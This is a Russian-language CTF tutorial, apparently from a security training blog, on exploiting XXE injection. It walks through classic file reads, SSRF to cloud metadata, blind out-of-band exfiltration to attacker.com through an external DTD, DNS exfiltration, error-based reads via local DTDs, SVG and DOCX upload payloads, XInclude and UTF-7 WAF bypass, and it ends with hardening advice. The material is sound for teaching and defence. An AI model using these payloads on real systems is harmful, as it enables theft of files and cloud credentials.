
На PortSwigger Web Security Academy задача по классическому XXE решается за три минуты — вставил DOCTYPE с file:///etc/passwd, подставил сущность в поле ввода, забрал содержимое файла в ответе. Готово, лаба зелёная. А теперь представьте CTF, где outbound-трафик заблокирован, ответ парсера не отображается, а DOCTYPE фильтруется регуляркой. Та же по сути уязвимость превращается в трёхчасовой квест с перебором техник от OOB-эксфильтрации до error-based через локальные DTD. Разница между первым и вторым сценарием не в сложности пейлоада, а в понимании того, как именно XML-парсер жуёт ваш документ и какие рычаги у вас есть. Здесь разбираю все типы XXE-инъекций, которые встречаю на CTF: от прямого чтения файлов до слепой эксфильтрации через ошибки парсинга, обхода WAF и эксплуатации через загрузку SVG и Office-документов.
XML — язык разметки с пользовательскими тегами. Из всей спецификации для CTF критичны два механизма: сущности (entities) и определения типа документа (DTD). Подробнее — в нашем подробном разборе создание ctf заданий.
Сущности работают как переменные. Объявляются в блоке <!DOCTYPE> через <!ENTITY name "value"> и подставляются в документе как &name;. Внутренние хранят значение прямо в объявлении. Внешние — загружают данные из файла или URL через ключевое слово SYSTEM: <!ENTITY xxe SYSTEM "file:///etc/passwd">. Именно внешние сущности превращают безобидный парсер в инструмент чтения произвольных файлов.
DTD (Document Type Definition) — блок в начале XML-документа, задающий структуру и объявления сущностей. Бывает внутренний (встроен в <!DOCTYPE ... [ ... ]>) и внешний (загружается по URL). DTD — точка входа для XXE-инъекций: именно тут объявляются вредоносные внешние сущности.
Parameter entities — отдельный вид сущностей, живущих только внутри DTD. Объявляются через <!ENTITY % name ...> и вызываются как %name;. Без них невозможна слепая эксфильтрация: обычные сущности нельзя вкладывать друг в друга, а parameter entities — можно, что позволяет динамически собирать URL с содержимым файла.
Billion laughs — DoS-атака через XML, где сущности ссылаются друг на друга экспоненциально. Десяток вложенных <!ENTITY> разворачивается в гигабайты данных и кладёт парсер. В CTF этот вектор встречается редко (флаг так не достанешь), но знать его стоит — понимаешь, почему парсеры ограничивают глубину вложенности.
Отдельно стоит упомянуть CVE-2018-1000838 (CWE-611) — XXE-уязвимость в форензик-платформе Autopsy версий до 4.9.0 (NVD не присваивает CVSS-score для этой CVE; независимый расчёт OSV.dev по вектору CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H даёт 10.0, что соответствовало бы Critical, но это не официальная классификация NVD). Атака через вредоносный CaseMetadata-файл позволяла читать конфиденциальные данные, вызывать отказ в обслуживании, выполнять SSRF и сканирование портов. Не billion laughs, а классическая XXE через XML-парсер — но хорошо показывает, как CWE-611 проявляется в десктопных инструментах.
По классификации: OWASP Top 10 2021 относит XXE уязвимость к A05:2021 — Security Misconfiguration (на момент написания статьи официальная редакция OWASP Top 10 2025 не опубликована; классификация XXE в будущих редакциях может измениться). По CWE это CWE-611 (Improper Restriction of XML External Entity Reference) — приложение обрабатывает XML-документ с URI, выходящими за пределы контролируемого периметра. Последствия CWE-611: чтение данных приложения (Confidentiality), обход механизмов защиты (Integrity) и потребление ресурсов CPU (Availability).
В терминах MITRE ATT&CK эксплуатация XXE-инъекции — техника Exploit Public-Facing Application (T1190, Initial Access): атакующий бьёт по публично доступному веб-эндпоинту. Результат может быть Credentials In Files (T1552.001, Credential Access) при чтении конфигов с паролями или Data from Local System (T1005, Collection) при извлечении произвольных файлов.
Самый частый сценарий в CTF-задачах категории web. Условие: приложение принимает XML, парсер обрабатывает внешние сущности, результат парсинга отображается в ответе.
Типичная точка входа — API-эндпоинт, принимающий XML в теле POST-запроса. На CTF это может быть форма обратной связи, парсер конфигурации, проверка наличия товара (как в лабах PortSwigger с stockCheck). Задача: найти поле в XML, значение которого отражается в ответе, и подставить туда сущность с протоколом file://.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data><input>&xxe;</input></data>
Парсер подставляет содержимое /etc/passwd вместо &xxe; и возвращает его в ответе. Видите root:x:0:0:root:/root:/bin/bash — XXE уязвимость подтверждена.
Что читать первым делом при эксплуатации XXE в CTF:
/etc/passwd — подтверждение уязвимости обработки XML и список пользователей/proc/self/environ — переменные окружения процесса (часто тут лежит флаг, путь к нему или секретные ключи)/flag.txt, /home/ctf/flag.txt, /app/flag, /root/flag — стандартные расположения флагов/proc/self/cwd/app.py или /proc/self/cwd/server.js — исходный код приложения через /proc/self/cwd (символическая ссылка на рабочую директорию процесса)/proc/self/cmdline — полная командная строка запуска, раскрывает путь к скриптуТипичные грабли и как их обходить. Пейлоад не срабатывает — проверяйте по порядку. Первое: валидность XML. Незакрытый тег, пропущенная кавычка — парсер отвергнет документ до обработки сущностей. Второе: кодировка. Если приложение ждёт UTF-8, а вы шлёте с другой — парсер откажет. Третье: нужное поле. Не каждое значение из XML попадает в ответ — тестируйте каждый узел данных по отдельности, как рекомендует PortSwigger. Четвёртое: содержимое файла ломает XML. Если в файле есть символы <, >, & — парсер падает с ошибкой.
Для PHP-приложений проблему спецсимволов решает обёртка php://filter/convert.base64-encode/resource=/etc/passwd вместо прямого file:///etc/passwd. Результат вернётся в base64 — без символов, ломающих XML-структуру. Декодируете через base64 -d и читаете.
XXE-инъекция — не только про файлы. Тут начинается самое интересное.
Пейлоад: <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">. На AWS-инфраструктуре этот запрос к metadata endpoint возвращает IAM-роли и временные креденшелы инстанса. По данным HackTricks, SSRF через XXE к cloud metadata — рабочий вектор в облачных CTF-сценариях, где задание развёрнуто на EC2 или аналогичных сервисах.
Для задач на внутреннюю разведку через SSRF — перебирайте порты и адреса: http://127.0.0.1:8080, http://localhost:3000, http://internal-api:5000. Если ответ от внутреннего сервиса отображается в ответе приложения — это full SSRF с двусторонним взаимодействием. Не отображается — blind SSRF, но и он бывает критичен (сброс пароля через внутренний API, обращение к базе данных).
В реальных CVE XXE-уязвимости подтверждены многократно. CVE-2021-20454 (CVSS 8.2 HIGH, вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L) — IBM WebSphere Application Server версий 7.0, 8.0, 8.5 и 9.0 был уязвим к XXE при обработке XML-данных. По официальному описанию NVD, удалённый атакующий мог раскрыть конфиденциальные данные (C:H) или вызвать потребление ресурсов памяти (A:L); SSRF в описании NVD для этой CVE не упоминается. CVE-2019-12153 (CWE-918) — SSRF через HTML-парсер в RealObjects PDFreactor до версии 10.1.10722 (не связана с XML entity-инъекцией). CVE-2019-12154 (CWE-611) — отдельная XXE-уязвимость XML-парсера той же библиотеки, позволявшая раскрытие локальных файлов.
На CTF средней и высокой сложности значение подставленной сущности не появляется в ответе. Приложение парсит XML, но отвечает только «Success», «Error» или статусом 200 без тела. Это blind XXE exploitation — и тут арсенал расширяется.
Out-of-band (OOB) эксфильтрация — техника отправки прочитанных данных на контролируемый атакующим сервер через DNS или HTTP. Механизм строится на parameter entities: они позволяют вложить содержимое файла в URL внешнего запроса.
Схема атаки в три шага. Атакующий хостит вредоносный DTD-файл на своём сервере. Пейлоад заставляет целевой парсер загрузить этот DTD. Внутри DTD вложенные parameter entities читают файл и отправляют его содержимое GET-параметром на сервер атакующего.
Вредоносный DTD-файл (хостится на http://attacker.com/evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://attacker.com/?d=%file;'>">
%eval;
%exfil;
Пейлоад для отправки приложению: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]> и любой валидный XML-элемент после. Парсер загружает внешний DTD, выполняет объявление %eval; (которое создаёт сущность %exfil; с URL, содержащим %file;), затем выполняет %exfil; — и содержимое /etc/hostname уходит GET-параметром на сервер атакующего.
Инструменты для приёма OOB-запросов на CTF:
interactsh-client от ProjectDiscovery — бесплатный OOB-инструмент, запускается одной командой, генерирует уникальный домен, логирует все DNS и HTTP-обращения к немуpython3 -m http.server 8888 — минимальный вариант, видите GET-запросы в терминалеПроблема с многострочными файлами при OOB. HTTP-URL не поддерживает переносы строк. Для /etc/passwd OOB через HTTP вернёт только первую строку или выдаст ошибку парсера. Решения: использовать php://filter/convert.base64-encode для кодирования (если бэкенд на PHP); читать файлы без переносов (/etc/hostname, однострочные флаги); FTP-эксфильтрация — поднять FTP-сервер, принимающий многострочные данные (скрипт xxe-ftp-server.rb, описанный в HackTricks, решает именно эту задачу).
DNS-эксфильтрация как fallback. Если HTTP наружу заблокирован, DNS часто остаётся открытым. Пейлоад: <!ENTITY % exfil SYSTEM "http://%file;.your-domain.com/">. Содержимое файла попадает в DNS-запрос как поддомен — interactsh или Burp Collaborator его зафиксирует. Длина ограничена 63 символами на метку и 253 на весь домен, но для флагов хватает.
Исходящие соединения заблокированы полностью — ни HTTP, ни DNS наружу. На CTF это значит, что OOB XXE атака не пройдёт. Остаётся error-based: заставить парсер выбросить сообщение об ошибке, содержащее данные из файла.
Идея: объявить сущность с содержимым целевого файла, затем использовать это содержимое как путь к несуществующему ресурсу. Парсер попытается открыть файл по этому пути, не найдёт его и вернёт ошибку вида file not found: [содержимое_целевого_файла]. Грязно, но работает.
Главная проблема: XML-спецификация запрещает вложение parameter entities во внутреннем DTD. Для вложения нужен внешний DTD, а outbound заблокирован. Решение — переиспользовать DTD-файлы, уже лежащие на сервере. На Linux-системах почти всегда есть /usr/share/xml/fontconfig/fonts.dtd или /usr/share/yelp/dtd/docbookx.dtd, содержащие parameter entity-объявления, которые можно переопределить.
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM
"file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; err
SYSTEM 'file:///nonexist/%file;'>">
%eval; %err;
<!ELEMENT a (b'>
%local_dtd;
]><foo>a</foo>
Как это работает: %local_dtd; загружает системный файл fonts.dtd. В нём есть объявление %expr; — но мы его переопределили раньше (первое определение имеет приоритет). Наше определение %expr; выходит из контекста оригинального объявления через aaa)>, объявляет %file; (содержимое целевого файла), конструирует %err; (обращение к несуществующему пути с содержимым файла) и вызывает обе сущности. Ошибка парсера содержит данные из /etc/hostname — вот ваш флаг.
Поиск подходящих DTD на сервере. Если fonts.dtd отсутствует — перебирайте другие стандартные пути: /usr/share/sgml/docbook/xml-dtd-4.1.2/docbookx.dtd, /usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd, /usr/share/yelp/dtd/docbookx.dtd. По данным книги J. Woltjer, конкретный пейлоад зависит от контекста переопределяемой сущности в каждом DTD — шаблоны для пяти различных контекстов доступны в профильных коллекциях пейлоадов. В Java-приложениях можно обращаться к DTD внутри JAR-файлов через протокол jar:file:///.
Не каждый CTF-таск принимает «голый» XML через POST. Часто точка входа — загрузка файлов: аватар, резюме, таблица с данными. За кулисами эти форматы основаны на XML, и уязвимости обработки XML проявляются при серверном парсинге.
SVG — векторный формат изображений, построенный на XML. Если приложение принимает загрузку картинок и обрабатывает SVG на сервере (ресайз, валидация, рендеринг в PNG), XXE-пейлоад встраивается прямо в SVG-файл. Создайте файл evil.svg с DOCTYPE в начале: <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>, затем в элементе <text x="10" y="20">&xxe;</text> — при рендеринге содержимое файла отобразится на получившемся изображении. Даже если приложение ожидает PNG или JPEG, библиотека обработки (ImageMagick, librsvg, Batik) может поддерживать SVG и обработает вредоносный файл.
DOCX, XLSX, PPTX — ZIP-архивы с XML-файлами внутри. Файлы [Content_Types].xml, word/document.xml, xl/sharedStrings.xml — полноценные XML-документы, которые парсер обрабатывает при загрузке. Алгоритм эксплуатации: создайте легитимный документ; распакуйте его unzip report.docx -d report/; внедрите XXE-пейлоад в один из XML-файлов (чаще всего [Content_Types].xml); запакуйте обратно cd report && zip -r ../evil.docx .; загрузите на сервер. По данным YesWeHack, для автоматизации XLSX-пейлоадов существует инструмент XXElixir.
В CVE-2019-0340 (CWE-611) загрузка файлов с XXE-пейлоадом позволяла читать локальные файлы в SAP Enable Now до версии 1902 — парсер не был закалён, и уязвимость сидела в нескольких точках загрузки файлов.
На CTF повышенной сложности прямой DOCTYPE заблокирован WAF или кастомным фильтром. Разберём техники обхода.
Приложение получает данные от клиента и вставляет их в серверный XML-документ (SOAP-запрос, шаблон). Контролируется только значение одного поля — объявить DOCTYPE невозможно. Тут работает XInclude, механизм сборки XML-документа из фрагментов.
Пейлоад для подстановки в поле: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. XInclude не требует DOCTYPE и работает из любого места в XML-документе. Согласно PortSwigger, этот вектор применим когда данные клиента помещаются в backend SOAP-запрос.
Приложение выглядит как JSON API, но фреймворк автоматически парсит XML при смене заголовка. Замените Content-Type: application/json на Content-Type: application/xml или text/xml и отправьте XML-пейлоад вместо JSON-тела. На CTF это частая ловушка: задание прикидывается REST API с JSON, но серверный фреймворк может молча обработать оба формата, если подключена XML-зависимость (например, Jackson XML module или JAXB в Spring Boot, xml-body-parser в Express) — это не поведение по умолчанию, а зависит от установленных библиотек. По данным HackTricks, аналогично работает переключение с application/x-www-form-urlencoded на application/xml.
Если WAF или фильтр блокирует строки <!DOCTYPE, <!ENTITY, SYSTEM — меняйте кодировку XML-документа. В UTF-7 символы <! кодируются как +ADwAIQ-, остальная часть строки остаётся в ASCII, давая +ADwAIQ-DOCTYPE. Заголовок XML: <?xml version="1.0" encoding="UTF-7"?>. Но эта техника работает только против парсеров, явно поддерживающих UTF-7 (например, старые версии .NET Framework XmlDocument) — большинство современных парсеров (libxml2, Java XML API, lxml) UTF-7 не понимают или требуют явного разрешения. Проверяйте совместимость с конкретным парсером на стенде.
Ещё варианты обхода: HTML-entities внутри DTD (< вместо <) для обхода простых регулярных выражений; base64 через PHP-обёртки; UTF-16 encoding (BOM \xFF\xFE в начале файла). На CTF перебор кодировок занимает минуты, но часто даёт результат на задачах с нетривиальным WAF.
Пошаговый алгоритм при встрече с потенциальной точкой XXE-инъекции:
Определите точку входа. Ищите Content-Type: application/xml или text/xml в HTTP-запросах через Burp Proxy. Проверьте формы загрузки файлов (SVG, DOCX, XLSX). Попробуйте сменить Content-Type на XML в JSON-эндпоинтах. Просмотрите WSDL-файлы SOAP-сервисов.
Проверьте базовый XXE. Объявите внутреннюю сущность <!ENTITY test "hello"> и подставьте &test; в поле, отображаемое в ответе. Если hello появится — парсер обрабатывает сущности, переходите к внешним: SYSTEM "file:///etc/passwd".
Нет вывода → blind XXE. Подставьте parameter entity: <!ENTITY % xxe SYSTEM "http://your-ip:8888/probe"> %xxe; и запустите python3 -m http.server 8888. Пришёл запрос — OOB работает, разворачивайте полную схему с внешним DTD.
OOB заблокирован → error-based. Пробуйте переопределение parameter entities в локальных DTD: fonts.dtd, docbookx.dtd, scrollkeeper-omf.dtd.
DOCTYPE заблокирован → XInclude. Вставляйте xi:include в доступное поле данных.
Всё отфильтровано → кодировки. UTF-7, UTF-16, PHP-обёртки с base64.
Набор инструментов:
interactsh-client, копируете сгенерированный домен в пейлоад, видите DNS/HTTP-обращения в реальном времени.curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://target/api. Удобнее Burp для скриптования перебора.Защита от XXE (чтобы понимать, что ломаете) сводится к отключению обработки внешних сущностей и DTD в парсере. Для Java: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). Для Python: библиотека defusedxml вместо стандартной xml.etree. Для PHP: libxml_disable_entity_loader(true) в версиях до 8.0. Начиная с PHP 8.0 эта функция deprecated и не требуется — загрузка внешних сущностей отключена по умолчанию благодаря libxml2 >= 2.9. Современные версии парсеров по умолчанию блокируют внешние сущности — но легаси-код, устаревшие библиотеки и явное включение опасных фич разработчиками создают поверхность атаки, которая эксплуатируется и в CTF, и в проде.
Большинство CTF-команд делят XXE-задачи на «лёгкие» (классика с выводом) и «интересные» (blind, error-based, file upload). На практике граница размывается: задание, которое выглядит как классический XXE, может оказаться blind с задержкой — парсер обрабатывает сущность, но результат уходит в лог, а не в HTTP-ответ. Сам несколько раз терял время, методично перебирая поля для отражения вывода, хотя нужно было сразу переключиться на OOB-проверку через interactsh. Не повторяйте.
Error-based XXE через локальные DTD незаслуженно игнорируется. На CTF с изолированной сетью (нет outbound ни по HTTP, ни по DNS) это единственный рабочий вектор для blind XXE-эксфильтрации. Но подавляющее большинство участников даже не пытаются его применить — потому что не знают, какие DTD-файлы лежат на типовом Linux-контейнере Ubuntu/Debian. Держите список путей к системным DTD в шпаргалке — он экономит часы на jeopardy-CTF. А CVE-2021-20454 с CVSS 8.2 в IBM WebSphere напоминает, что CWE-611 — не учебная уязвимость: enterprise-продукты продолжают принимать XML без отключения DTD-обработки. На CTF вы забираете флаг, в проде — AWS-креденшелы через SSRF к metadata endpoint, и масштаб последствий несопоставим. На WAPT эту цепочку — от базового XXE до blind OOB с FTP-эксфильтрацией — проходят в двух модулях с лабами.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...